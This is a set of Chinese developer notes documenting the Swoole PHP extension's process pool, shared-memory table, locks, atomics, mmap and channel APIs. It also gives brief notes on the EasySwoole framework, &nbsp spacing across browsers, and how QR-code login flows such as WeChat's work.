可以在主进程中回收子进程,但基于Redis的brpop是阻塞的,这就导致一个问题: 当执行N个任务之后,任务系统空闲的时候主进程是阻塞的,而在发生阻塞的时候子进程还在执行,所以就无法完成最后几个子进程的进程回收 解决方案是进程回收也放到信号处理器中去。 pcntl是一个进程处理的扩展,但很可惜它对多进程的支持非常乏力。所以这里采用Swoole扩展中的Process 最终经过测试单核1G的服务器执行1到3秒的任务可以做到800的并发。采用swoole_process的消息队列
Process\Pool进程池
进程池基于Server的Manager模块实现,可管理多个工作进程 该模块的核心功能为进程管理,相比Process实现多进程,Process\Pool更加简单,封装层次更高,开发者无需编写过多代码即可实现进程管理功能 常量定义 SWOOLE_IPC_MSGQUEUE: 系统消息队列通信 SWOOLE_IPC_SOCKET: SOCKET通信 异步支持 可在onWorkerStart中使用Swoole提供的异步或协程API,工作进程即可实现异步 底层自带的消息队列和SOCKET通信均为同步阻塞IO 如果进程为异步模式,请勿使用任何自带的同步IPC进程通信功能 (无法使用message回调) 低于4.0版本需要在onWorkerStart末尾添加swoole_event_wait进入事件循环
【 Process\Pool::__construct 】
创建进程池
function Process\Pool::__construct(int $worker_num,int $ipc_type = 0,int $msgqueue_key = 0);
参数
$worker_num: 指定工作进程的数量
$ipc_type 进程间通信的模式,默认为0表示不使用任何进程间通信特性
设置为0时必须设置onWorkerStart回调,并且必须在onWorkerStart中实现循环逻辑,当onWorkerStart函数退出时工作进程会立即退出
设置为SWOOLE_IPC_MSGQUEUE表示使用系统消息队列通信,可设置$msgqueue_key指定消息队列的KEY,未设置消息队列KEY,将申请私有队列
设置为SWOOLE_IPC_SOCKET表示使用Socket进行通信,需要使用listen方法指定监听的地址和端口
使用非0设置时,必须设置onMessage回调,onWorkerStart变更为可选
消息队列
在使用SWOOLE_IPC_MSGQUEUE时可使用sysvmsg扩展提供的消息队列API向工作进程投递人任务。
$q = msg_get_queue($key);
foreach (range(1,100) as $i) {
$data = json_encode(['data' => base64_encode(random_bytes(1024)),'id' => uniqid(),'index' => $i,]);
msg_send($q,$i,$data,false);
}
必须传入Pool创建时使用的key
底层不支持msg_send的第二个参数mtype,请传入任意非0值
【 Process\Pool->on 】
设置进程池回调函数。
function Process\Pool::on(string $event,callable $function);
子进程启动
onWorkerStart回调函数,接受2个参数:
Pool对象
WorkerId当前工作进程的编号,底层会对子进程进行标号,范围是[0-$worker_num)
function onWorkerStart(Swoole\Process\Pool $pool,int $workerId){
echo "Worker#{$workerId} is started\n";
}
子进程结束
onWorkerStop回调函数,与onWorkerStart参数一致。
消息接收
onMessage回调函数,收到外部投递的消息。 一次连接只能投递一次消息,类似于php-fpm的短连接机制.
Pool对象
消息数据内容
function onMessage(Swoole\Process\Pool $pool,string $data){
var_dump($data);
}
【 Process\Pool->listen】
监听SOCKET,必须在$ipc_mode为SWOOLE_IPC_SOCKET时才能使用。
function Process\Pool::listen(string $host,int $port = 0,int $backlog = 2048);
参数
$host监听的地址,支持TCP和UnixSocket两种类型。127.0.0.1表示监听TCP地址,需要指定$port。unix:/tmp/php.sock监听UnixSocket地址。
$port监听的端口,在TCP模式下需要指定。
$backlog监听的队列长度
返回值
成功监听返回true
监听失败返回false,可调用swoole_errno获取错误码。监听失败后,调用start时会立即返回false
通信协议
向监听端口发送数据时,客户端必须在请求前增加4字节、网络字节序的长度值。协议格式为:
packet = htonl(strlen(data)) + data;
$pool->listen('127.0.0.1',8089);
$pool->listen('unix:/tmp/php.sock');
【 Process\Pool->write 】
向对端写入数据,必须在$ipc_mode为SWOOLE_IPC_SOCKET时才能使用。
function Process\Pool::write(string $data);
$data: 写入的数据内容。可多次调用write,底层会在onMessage函数退出后将数据全部写入socket中,并close连接
此方法为内存操作,没有IO消耗
发送数据操作是同步阻塞IO
调用端【 Process\Pool->start 】 启动工作进程。 function Process\Pool::start() : bool; 启动成功,当前进程进入wait状态,管理工作进程 启动失败,返回false,可使用swoole_errno获取错误码
进程管理 某个工作进程遇到致命错误、主动退出时管理器会进行回收,避免出现僵尸进程 工作进程退出后,管理器会自动拉起、创建一个新的工作进程 主进程收到SIGTERM信号时将停止fork新进程,并kill所有正在运行的工作进程 主进程收到SIGUSR1信号时将将逐个kill正在运行的工作进程,并重新启动新的工作进程 信号处理 底层仅设置了主进程(管理进程)的信号处理,并未对Worker工作进程设置信号,需要开发者自行实现信号的监听。 工作进程为异步模式,请使用Swoole\Process::signal监听信号 工作进程为同步模式,请使用pcntl_signal和pcntl_signal_dispatch监听信号 在工作进程中应当监听SIGTERM信号,当主进程需要终止该进程时,会向此进程发送SIGTERM信号。如果工作进程未监听SIGTERM信号,底层会强行终止当前进程,造成部分逻辑丢失。
【 Process\Pool->getProcess 】 获取当前工作进程对象。返回Swoole\Process对象。需要 swoole 版本 >= 4.2.0 function Process\Pool->getProcess() : Process; 必须在start之后,在工作进程的onWorkerStart或其他回调函数中调用 返回的Process对象是单例模式,在工作进程中重复调用getProcess()将返回同一个对象
swoole memory
Swoole提供了7个内存操作的模块,在多进程编程中可以帮助开发者实现一些特殊的需求。 Memory下的模块可以安全的用于异步非阻塞程序中,不存在任何IO消耗 所有模块均为多进程安全的,无需担心数据同步问题 Memory相关模块对象为有限资源,不可大量创建
swoole_lock锁机制
1.6.4版本增加了锁的实现。PHP代码中可以很方便地创建一个锁,用来实现数据同步。Lock类支持5种锁的类型: 文件锁 SWOOLE_FILELOCK 读写锁 SWOOLE_RWLOCK 信号量 SWOOLE_SEM 互斥锁 SWOOLE_MUTEX 自旋锁 SWOOLE_SPINLOCK 请勿在onReceive等回调函数中创建锁,否则底层的GlobalMemory内存会持续增长,造成内存泄漏。
【 swoole_lock->__construct 】 swoole_lock->__construct(int $type,[string $lockfile]) $type为锁的类型 $lockfile,当类型为SWOOLE_FILELOCK时必须传入用来指定文件锁的路径 每一种类型的锁支持的方法都不一样,如读写锁、文件锁可以支持$lock->lock_read()。 除文件锁外,其他类型的锁必须在父进程内创建,这样fork出的子进程之间才可以互相争抢锁。 不要循环创建/销毁锁的对象,否则会发生内存泄漏 【 swoole_lock->lock 】 $lock->lock(); 加锁操作,加锁成功返回true。如果有其他进程持有锁,那这里将进入阻塞,直到持有锁的进程unlock。 【 swoole_lock->trylock 】 $lock->trylock(); 加锁操作。与lock方法不同的是,trylock()不会阻塞而是立即返回。 加锁成功返回true,此时可以修改共享变量。 加锁失败返回false,表示有其他进程持有锁。 SWOOlE_SEM 信号量没有trylock方法 【 swoole_lock->unlock 】 释放锁,解锁成功返回true $lock->unlock(); 【 swoole_lock->lock_read 】 只读加锁。lock_read方法表示仅锁定读。 bool $lock->lock_read(); 在持有读锁的过程中,其他进程依然可以获得读锁,可以继续发生读操作 但不能$lock->lock()或$lock->trylock(),这两个方法是获取独占锁,在独占锁加锁时其他进程无法再进行任何加锁操作,包括读锁 当另外一个进程获得了独占锁(调用$lock->lock/$lock->trylock)时,$lock->lock_read()会发生阻塞,直到持有独占锁的进程释放锁 只有SWOOLE_RWLOCK和SWOOLE_FILELOCK类型的锁支持只读加锁 【 swoole_lock->trylock_read 】 加锁。此方法与lock_read相同,但是非阻塞的。调用会立即返回,必须检测返回值以确定是否拿到了锁 $lock->trylock_read(); 【 swoole_lock->lockwait 】 加锁操作,作用于swoole_lock->lock一致,但lockwait可以设置超时时间。只有Mutex类型的锁支持lockwait function swoole_lock->lockwait(float $timeout = 1.0) : bool; $timeout传入超时时间,默认为1秒 在规定的时间内未获得锁,返回false 加锁成功返回true
swoole_buffer
swoole1.7.5提供了一个swoole_buffer类,让PHP开发者可以像C一样直接读写内存,提升程序的性能,又不用担心内存越界。swoole_buffer会检测offset。 swoole_buffer申请的内存并非共享内存,所以无法在多个进程间被共享 属性列表 swoole_buffer->$length,当前数据的长度 swoole_buffer->$capacity,当前缓存区的容量 【 swoole_buffer->__construct 】 创建一个内存对象 swoole_buffer->__construct(int $size = 128); 参数$size指定了缓冲区内存的初始尺寸。当申请的内存容量不够时swoole底层会自动扩容。 【 swoole_buffer->append 】 将一个字符串数据追加到缓存区末尾。 int swoole_buffer->append(string $data); $data是要写入的数据,支持二进制内容 执行成功后,会返回新的长度 【 swoole_buffer->substr 】 从缓冲区中取出内容。 string swoole_buffer->substr(int $offset,int $length = -1,bool $remove = false); $offset 表示偏移量,如果为负数,表示倒数计算偏移量 $length 表示读取数据的长度,默认为从$offset到整个缓存区末尾 $remove 表示从缓冲区的头部将此数据移除,只有$offset = 0时此参数才有效 swoole_buffer->substr()会复制一次内存 $remove后内存并没有释放,只是底层进行了指针偏移,当销毁此对象时才会真正释放内存 swoole_buffer->substr()能够在某些情况下触发swoole_buffer->recycle() 【 swoole_buffer->clear 】 清理缓存区数据。执行此操作后,缓存区将重置。swoole_buffer对象就可以用来处理新的请求了。 swoole_buffer->clear() swoole_buffer基于指针运算实现clear,并不会写内存 【 swoole_buffer->expand 】 为缓存区扩容。 swoole_buffer->expand(int $new_size); $new_size 指定新的缓冲区尺寸,必须大于当前的尺寸 【 swoole_buffer->write 】 向缓存区的任意内存位置写数据。read/write函数可以直接读写内存。所以使用务必要谨慎,否则可能会破坏现有数据。 swoole_buffer->write(int $offset,string $data) $offset 偏移量 $data 写入的数据 swoole_buffer->write()不能实现字符串追加,请使用swoole_buffer->append() 【 swoole_buffer->read 】 读取缓存区任意位置的内存。此接口是一个底层接口,可直接操作内存。 swoole_buffer->read(int $offset,int $length) $offset 偏移量 $length 要读取的数据长度 如果 $offset 错误或读取的长度超过实际数据的长度,返回 false 【 swoole_buffer->recycle 】 回收缓冲中已经废弃的内存。会进行一次内存拷贝 swoole_buffer->recycle(); 此方法能够在不清空缓冲区和使用swoole_buffer->clear()的情况下,回收通过swoole_buffer->substr()移除但仍存在的部分内存空间。
swoole_table
进程的内存隔离性 在程序中声明的global全局数组,实际上并不是数据共享的,在一个进程内修改数组的值,在另外一个进程中是无效的。
这个进程隔离性给程序的开发带来的很多烦恼。比如实现一个聊天室程序,用户A在进程1中处理,用户B在进程2中处理,A和B如果在同一个group,这个group在多线程环境中直接用set表示,A和B加到对应group的set中即可。但多进程环境中,用PHP的array无法实现。一般可以有2个思路解决问题:
1、进程间通信,可以使用管道,向另外一个进程发送请求,获取数据的值
2、借助存储实现,如Redis、MySQL、文件
这2个方案虽然可以实现,但都存在明显的缺点。
方案一实现较为复杂,开发困难。
方案二实现简单,但存在额外的IO消耗,不是纯内存操作,有性能瓶颈。基于/dev/shm实现内存文件读写的方案,是一个不错的方案,但需要注意锁的操作,读写时需要额外的系统调用开销。
想要解决这个问题,必须实现一个基于共享内存的数据结构
在PHP中也有一些扩展模块可以使用,如APCu、Yac、shm_put_var/shm_get_var
Yac: 性能高,但由于底层实现的限制,无法保证一致性,只能作为Cache来使用
APCu: 支持Key-Value式数据的读写,缺点是实现简单粗暴,锁的粒度太粗。高并发时存在大量锁的争抢,性能较差
shm 系列函数: 这个方案虽然能实现共享内存操作,但实际上底层实现非常简陋。一方面底层根本没有加锁,如果要在并发环境中使用,需要自行实现锁的操作。另外底层实际上是一个链表结构,数据较多时,查询性能非常差
为了解决多进程程序中数据共享的难题,Swoole扩展提供了swoole_table数据结构。Table的实现非常精巧,使用最方便,同时性能也是最好的。
【 swoole_table 】
swoole_table一个基于共享内存和锁实现的超高性能,并发数据结构。用于解决多进程/多线程数据共享和同步加锁问题。
最新版本已移除lock和unlock方法,请使用Swoole\Lock来实现数据同步
请谨慎使用数组方式读写swoole_table,建议使用文档中提供的API来进行操作. 数组方式取出的swoole_table_row对象为一次性对象,请勿依赖其进行过多操作
swoole_table的优势
性能极高,全部是纯内存操作,没有任何系统调用和IO的开销。在24核服务器上理论上每秒可实现数千万次读写操作。
应用代码无需加锁,swoole_table内置行锁自旋锁,所有操作均是多线程/多进程安全。用户层完全不需要考虑数据同步问题。
支持多进程,swoole_table可以用于多进程之间共享数据
swoole_table不受PHP的memory_limit控制
使用行锁,而不是全局锁,仅当2个进程在同一CPU时间,并发读取同一条数据才会进行发生抢锁
使用数据行锁,底层使用了数据行锁自旋锁。多进程并发执行时,读写不同的key不存在锁的争抢问题。只有同一CPU时间读写同一个Key才需要进行加锁操作。而且Table本身锁的粒度非常小,get、set操作内部只有少量内存读写的指令,可以在数百纳秒内完成操作
Table的局限性
Key最大长度不得超过64字节
必须在创建前规划好容量,一旦写满后,再set新的数据会出现内存分配导致失败,无法实现动态扩容
因此使用Table时尽可能地设置较大的内存尺寸,这样虽然会带来一定的内存浪费,但实际上现代服务器内存非常廉价,这个局限性在实际项目中的问题并不大。
【 遍历Table 】
swoole_table类实现了迭代器和Countable接口,可以使用foreach进行遍历,使用count计算当前行数。
遍历Table 依赖pcre 如果发现无法遍历table,检查机器是否安装pcre-devel
foreach($table as $row){
var_dump($row);
}
echo count($table);
Table实现了一个二维Map结构,有点像PHP的二维数组。在最新的1.9.19中还可以使用ArrayAccess接口以array的方式操作Table【 swoole_table与swoole_server结合使用 】 在swoole_server->start()之前创建swoole_table对象,并存入全局变量或者类静态变量/对象属性中。 在worker/task进程中获取table对象 只有在swoole_server->start()之前创建的table对象才能在子进程中使用
【 swoole_table->__construct 】 创建内存表。 swoole_table->__construct(int $size,float $conflict_proportion = 0.2) $size参数指定表格最大行数,如果$size不是为2的N次方如1024、8192,65536等,底层会自动调整为接近的数字,如果小于1024则默认成1024,即1024是最小值 table占用的内存总数为 (结构体长度 + KEY长度64字节 + 行尺寸$size) * (1.2预留20%作为hash冲突) * (列尺寸),如果机器内存不足table会创建失败 set操作能存储的最大行数与$size正相关,但不完全一致,如$size为1024实际可存储的行数小于1024 swoole_table基于行锁,所以单次set/get/del在多线程/多进程的环境下是安全的 set/get/del是原子操作,用户代码中不需要担心数据加锁和同步的问题 Table的内存申请、容量计算 Table底层基于共享内存实现,所占内存取决于表格的尺寸size、冲突率(默认20%)、column的设置(如上面的示例中每行需要8 + 64 + 8字节)、64字节KEY的存储空间、管理结构的内存消耗 Table底层是建立在共享内存之上的HashTable数据结构,$size最大行数决定了HashTable的总行数。由于Table是在共享内存之上,所以无法动态扩容。这个$size必须在创建前设置好。Key会计算为hash值来散列到每一行。HashTable结构会遇到Hash冲突问题,两个完全不同的Key可能计算的hash值是同一个,这时需要使用链表来解决Hash冲突。Swoole底层会创建一个浮动的内存池swFixedPool结构来管理这些冲突Key的内存。默认会创建size*20%数量的浮动内存池。在1.9.19中可以自行定义冲突率。 Table能存储的总数据行数,取决于数据的Key冲突率。如果冲突率超过20%,预留的hash冲突内存块容量不足就会报Unable to allocate memory错误,并返回false,存储失败。 假如场景中Hash冲突较多,可以调高冲突率,以申请一块较大的浮动内存池 $table = new swoole_table(65536,0.9); 【 swoole_table->column 】 内存表增加一列 bool swoole_table->column(string $name,int $type,int $size = 0); $name指定字段的名称 $type指定字段类型,支持3种:swoole_table::TYPE_INT,swoole_table::TYPE_FLOAT,swoole_table::TYPE_STRING $size指定字符串字段的最大长度,单位为字节,字符串类型的字段必须指定$size swoole_table::TYPE_STRING 字符串字段,设置后设置的字符串不能超过此长度 swoole_table::TYPE_INT 整形字段,默认为4个字节,可以设置1,2,4,8共4种长度 swoole_table::TYPE_FLOAT 浮点字段,会占用8个字节的内存 非x86环境需要内存对齐
【 swoole_table->create 】 swoole_table->create 创建内存表。 bool function swoole_table->create() 定义好表的结构后,执行create向操作系统申请内存,创建表 调用create之前不能使用set、get等数据读写操作方法,调用create之后不能使用column方法添加新字段 系统内存不足,申请失败,create返回false;申请内存成功,create返回true 进程结束后内存表会自动释放 swoole_table使用共享内存来保存数据,在创建子进程前务必要执行swoole_table->create() swoole_server中使用swoole_table,swoole_table->create()必须在swoole_server->start()前执行
【 $table->memorySize 】
使用create方法创建表后,可以读取$table->memorySize属性获取实际占用内存的尺寸,单位为字节。
echo $table->memorySize;
【 swoole_table->set 】
设置行的数据,swoole_table使用key-value的方式来访问数据。
swoole_table->set(string $key,array $value)
$key,数据的key,相同的$key对应同一行数据,如果set同一个key会覆盖上一次的数据
$value,必须是一个数组,必须与字段定义的$name完全相同
swoole_table->set() 可以设置全部字段的值,也可以只修改部分字段
swoole_table->set() 未设置前,该行数据的所有字段均为空
set/get/del是自带行锁,所以不需要调用lock加锁
Key非二进制安全,必须为字符串类型,不得传入二进制数据
$table->set('1',['id' => 1,'name' => 'test1','age' => 20]);
$table->set('2',['id' => 2,'name' => 'test2','age' => 21]);
$table->set('3',['id' => 3,'name' => 'test3','age' => 19]);
设置超过最大长度字符串
如果传入字符串长度超过了列定义时设定的最大尺寸,底层会自动截断。
$table->column('str_value',swoole_table::TYPE_STRING,5);
$table->set('hello',array('str_value' => 'world 123456789'));
str_value列最大尺寸为5字节,但set设置了超过5字节的字符串,底层会自动截取5字节的数据,最终str_value值为world
【 swoole_table->incr 】
原子自增操作。
function swoole_table->incr(string $key,string $column,mixed $incrby = 1);
$key 指定数据的key,如果$key对应的行不存在,默认列的值为0
$column 指定列名,仅支持浮点型和整型字段
$incrby 增量,默认为1。如果列为整形,$incrby必须为int型,如果列为浮点型,$incrby必须为float类型
失败返回false,成功返回最终的结果数值
【 swoole_table->decr 】
原子自减操作。
function swoole_table->decr(string $key,string $column,mixed $decrby = 1);
$key 指定数据的key,如果$key对应的行不存在,默认列的值为0
$column 指定列名,仅支持浮点型和整型字段
$decrby 减量,默认为1。如果列为整形,$decrby必须为int型,如果列为浮点型,$decrby必须为float类型
失败返回false,成功返回最终的结果数值
【 swoole_table->get 】
获取一行数据
array swoole_table->get(string $key,string $field = null);
如果$key不存在将返回false,成功返回结果数组
当指定了$field时仅返回该字段的值,而不是整个记录
【 swoole_table->exist 】
检查table中是否存在某一个key。存在返回true,不存在返回false
bool swoole_table->exist(string $key);
【 swoole_table->del 】
删除数据
bool swoole_table->del(string $key)
$key对应的数据不存在将返回false,成功删除返回true
Key非二进制安全,必须为字符串类型,不得传入二进制数据
【 swoole_table->count 】
返回table中存在的条目数
int function swoole_table->count();
swoole_atomic
swoole_atomic是swoole扩展提供的原子计数操作类,可以方便整数的无锁原子增减。 swoole_atomic使用共享内存,可以在不同的进程之间操作计数 swoole_atomic基于gcc提供的CPU原子指令,无需加锁 swoole_atomic在服务器程序中必须在swoole_server->start前创建才能在Worker进程中使用 swoole_atomic默认使用32位无符号类型,如需要64有符号整型,可使用Swoole\Atomic\Long 请勿在onReceive等回调函数中创建原子数,否则底层的GlobalMemory内存会持续增长,造成内存泄漏。 64位长整型 1.9.20版本增加了对64位有符号长整型原子计数的支持,使用new Swoole\Atomic\Long来创建。 Swoole\Atomic\Long 不支持wait和wakeup方法
【 swoole_atomic->__construct 】 function swoole_atomic->__construct(int $init_value = 0) 创建一个原子计数对象。 swoole_atomic只能操作32位无符号整数,最大支持42亿,不支持负数 $init_value可以指定初始化的数值,默认为0 在swoole_server中使用原子计数器,必须在swoole_server->start前创建 在swoole_process中使用原子计数器,必须在swoole_process->start前创建 【 swoole_atomic->add 】 function swoole_atomic->add(int $add_value = 1) 增加计数,add方法操作成功后返回结果数值 $add_value要增加的数值,必须为正整数,默认为1 $add_value与原值相加如果超过42亿,将会溢出,高位数值会被丢弃 【 swoole_atomic->sub 】 function swoole_atomic->sub(int $sub_value = 1) 减少计数,sub方法操作成功后返回结果数值 $sub_value要减少的数值,必须为正整数,默认为1 $sub_value与原值相减如果低于0将会溢出,高位数值会被丢弃 【 swoole_atomic->get 】 function swoole_atomic->get() 获取当前计数的值 【 swoole_atomic->set 】 function swoole_atomic->set(int $value); 将当前值设置为指定的数字,没有任何返回值,$value参数指定要设置的目标数值 【 swoole_atomic->cmpset 】 function swoole_atomic->cmpset(int $cmp_value,int $set_value); 如果当前数值等于$cmp_value返回true,并将当前数值设置为$set_value;如果不等于返回false $cmp_value,$set_value 必须为小于42亿的整数 【 swoole_atomic->wait 】 function swoole_atomic->wait(float $timeout = -1) : bool 当原子计数的值为0时程序进入等待状态,另外一个进程调用wakeup可以再次唤醒程序。底层基于Linux Futex实现,使用此特性可以仅用4字节内存实现一个等待、通知、锁的功能。 在不支持Futex的平台下,底层会使用循环usleep(1000)模拟实现 $timeout 指定超时时间,默认为-1,表示永不超时,会持续等待直到有其他进程唤醒 超时返回false,错误码为EAGAIN,可使用swoole_errno函数获取 成功返回true,表示有其他进程通过wakeup成功唤醒了当前的锁 使用wait/wakeup特性时,原子计数的值只能为0或1,否则会导致无法正常使用 当然原子计数的值为1时,表示不需要进入等待状态,资源当前就是可用,wait函数会立即返回true
【 swoole_atomic->wakeup 】 function swoole_atomic->wakeup(int $n = 1); 唤醒处于wait状态的其他进程。 当前原子计数如果为0时,表示没有进程正在wait,wakeup会立即返回true 当前原子计数如果为1时,表示当前有进程正在wait,wakeup会唤醒等待的进程,并返回true 如果同时有多个进程处于wait状态,$n参数可以控制唤醒的进程数量 被唤醒的进程返回后,会将原子计数设置为0,这时可以再次调用wakeup唤醒其他正在wait的进程
swoole_mmap
swoole-1.9.0增加了一个新的模块,提供了对操作系统mmap的封装。使用mmap可以很方便地将一个磁盘文件映射为内存,读写性能更高。 mmap可以减少读写磁盘操作的IO消耗、减少内存拷贝。在实现高性能的磁盘操作程序中,可以使用mmap来提升性能 【 swoole_mmap::open() 】 function swoole_mmap::open($file,$size = -1,$offset = 0); 创建文件内存映射 $file 磁盘文件名称,必须是存在的文件,如果文件不存在将会创建失败。可以使用file_put_contents来初始化文件。 $size 映射操作,默认为整个文件的长度,操作系统会分配同等大小的内存。不要尝试将超过系统内存尺寸的文件进行映射 $offset 文件的映射起始位置,默认为0 执行成功将返回一个PHP的stream资源,可使用PHP提供的流式操作函数读写数据 操作内存 读取数据,fread、fgets 写入数据,fwrite、fputs 关闭内存映射,fclose,底层会自动执行fflush将数据同步到磁盘文件 同步数据,fflush将内存中的数据写入到磁盘
swoole_channel
Swoole-1.9.0新增了一个新的内存数据结构Channel,用于实现高性能的进程间通信,底层基于共享内存+Mutex互斥锁实现,可实现用户态的高性能内存队列。 Channel可用于多进程环境下,底层在读取写入时会自动加锁,应用层不需要担心数据同步问题 必须在父进程内创建才可以在子进程内使用 Channel不受PHP的memory_limit控制
【 Channel->__construct 】 function Channel->__construct(int $size); 创建通道 $size参数表示通道占用的内存的尺寸,单位为字节,最小值为64K,最大值没有限制 系统内存不足底层会抛出内存不足异常 【 Channel->push 】 bool function Channel->push(mixed $data); 向通道写入数据 $data可以为任意PHP变量,当$data是非字符串类型时底层会自动进行串化 $data的尺寸超过8K时会启用临时文件存储数据 $data必须为非空变量,如空字符串、空数组、0、null、false 写入成功返回true,通道的空间不足时写入失败并返回false 某些对象无法进行序列化,因此这些对象无法使用Channel进行跨进程传递,如PDO对象 【 Channel->pop 】 function Channel->pop() : mixed; 弹出数据 pop方法无需传入任何参数 当通道内有数据时自动将数据弹出并还原为PHP变量 当通道内没有任何数据时pop会失败并返回false 【 Channel->stats 】 function Channel->stats() : array; 获取通道的状态,返回一个数组,包括2项信息:queue_num表示通道中的元素数量,queue_bytes表示通道当前占用的内存字节数 array( "queue_num" => 10, "queue_bytes" => 161 );
easy-swoole
EasySwoole是一款基于Swoole Server开发的常驻内存型的分布式PHP框架,专为API而生,摆脱传统PHP运行模式在进程唤起和文件加载上带来的性能损失。 EasySwoole高度封装了Swoole Server而依旧维持Swoole Server原有特性,支持同时混合监听HTTP、自定义TCP、UDP协议,让开发者以最低的学习成本和精力编写出多进程,可异步,高可用的应用服务。在开发上准备了以下常用组件: http 服务服务器 协程ORM(类似Tp Orm) 图片验证码 validate验证器 协程模板渲染引擎 jwt组件 协程TCP、UDP、WEB_SOCKET 服务端 协程redis连接池 协程mysql 连接池 协程Memcached客户端 协程通用链接池 协程kafka客户端 NSQ协程客户端 分布式跨平台RPC组件 协程consul客户端 协程apollo配置中心 协程Actor 协程Smtp客户端 协程微信公众号与小程序SDK 协程协程版微信、支付宝支付SDK 协程elasticsearch客户端 协程HTTP客户端组件 协程上下文管理 IOC、协程上下文管理器 snowflake Id生成器 crontab 秒级任务 自定义进程 自定义消息队列 Tracker链路跟踪 Atomic限流器 fast-cache组件 policy权限组件 docker hub上的环境为php7.2 + swoole4.4.17+easyswoole 3.3.x docker run -ti -p 9501:9501 easyswoole/easyswoole3 默认工作目录为: /easyswoole ,以上命令启动的时候自动进入工作目录,执行php easyswoole start ,浏览器访问 http://127.0.0.1:9501/ 即可看到easyswoole欢迎页
功能模块
【 空格& nbsp在不同浏览器中显示距离不一致问题解决方法 】 两个& nbsp ;在chrome中占一个汉字的宽度,而在IE中四个& nbsp ;才占一个汉字的宽度 解决办法: 一、修改页面的编码格式<meta http-equiv="content-type" content="text/html; charset=gbk">和页面的编译方式(myeclipse中) 二、(推荐)在空格那一行设置一下字体,把字体设置成任意一种字符等间距的字体即可。 <div style="font-family: '宋体'">nbsp;nbsp;nbsp;nbsp;我是第二行</div>【 php文件中插入html代码的写法 】安装步骤 driver.js是一个网页端的用户操作分步引导操作,可以在整个页面上引导用户操作首字母头像生成短网址/短链接功能
检测是否是手机端
手机app、客户端扫码登录web服务器
手机淘宝app扫码登录pc端淘宝web页面、手机qq扫码登录pc端qq 模拟登陆的思路: 1.建立一张数据表,包含三个字段,分别为主键id,用户名username,随机数randnumber 2.要生成一张包含有随机数的二维码图片,可以采用联图网http://www.topscan.com/pingtai/ 提供的API接口(http://qr.topscan.com/api.php?text=) 只要在链接后缀加上特定文字信息,就可以得到指定的二维码图片了 每生成一张二维码图片,就向数据库插入该随机数,此时用户名字段为空。 3.客户端如果扫描了二维码图片,就向服务器端发送读取到的随机数以及用户名,通过随机数查找到指定字段,向该字段插入用户名 4.想要让第二步骤生成的二维码图片知道自己被扫描了然后自动跳转登录,需要第二步骤的生成的网页每隔一段时间就查询username字段是否为空,如果不为空,可知已经被扫描,,从而实现跳转登录 【 扫码登录网页版微信 】 二维码解析出来是如下的网址: https://login.weixin.qq.com/l/obsbQ-Dzag== ①: 用户A访问微信网页版,微信服务器为这个会话生成一个全局唯一的ID,上面URL中obsbQ-Dzag==就是这个ID,此时系统并不知道访问者是谁。 ②: 用户A打开自己的手机微信并扫描这个二维码,并提示用户是否确认登录。 ③: 手机上的微信是登录状态,用户点击确认登录后,手机上的微信客户端将微信账号和这个扫描得到的ID一起提交到服务器 ④: 服务器将这个ID和用户A的微信号绑定在一起,并通知网页版微信,这个ID对应的微信号为用户A,网页版微信加载用户A的微信信息,至此扫码登录全部流程完成 微信APP扫自家的码会做一些普通二维码软件不会做的额外的操作,那就是将当前已登录的微信和扫出来的ID提交到微信服务器,类似的应用还有扫码支付、扫码加公众号等功能